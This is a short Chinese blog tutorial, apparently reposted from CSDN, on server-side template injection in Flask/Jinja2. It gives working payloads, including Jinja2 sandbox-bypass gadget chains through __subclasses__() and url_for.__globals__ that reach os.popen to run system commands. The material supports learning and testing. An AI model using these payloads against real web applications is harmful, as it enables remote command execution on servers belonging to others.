其他分享
首页 > 其他分享> > 服务端模板注入漏洞SSTI

服务端模板注入漏洞SSTI

作者:互联网

所有用户的输入都存在风险

tempalte = "Bio:{{user.bio}}"
render(template)

数据交互Bio(user对象的bio属性)

当user.bio是正常输入时,例如:Bio:{{7*7}},那就是正常的显示输入。
当user.bio是恶意输出时,例如:Bio:{{exec(‘ls’)}},就会执行系统命令。

基于python的flask web架构做一个简单的测试。
构造payload
在这里插入图片描述

{{import os;os.system("id")}}

在这里插入图片描述

失败了,这是因为Jinja框架禁止输入import,需要绕过。在这里插入图片描述
可以利用Gadgets绕过。

{{
''.__class__ 	//字符串的字节码文件
.__base__		//字节码文件的基类
.__subclasses__()[141]		//继承基类的类
.__init__
.__globals__['sys']
.modules['os']
.popen("id")
.read()
}}

原理是利用python解释器里的python,
在这里插入图片描述
让i有我们发现__subclasses__()[141] 的warnings.catch__warnings类引入了os模块在这里插入图片描述
在这里插入图片描述

 {{
 url_for
 .__globals__
 .os
 .popen("id")
 .read()
 }}

标签:__,Bio,.__,bio,SSTI,服务端,os,模板,user
来源: https://blog.csdn.net/weixin_43873557/article/details/113921274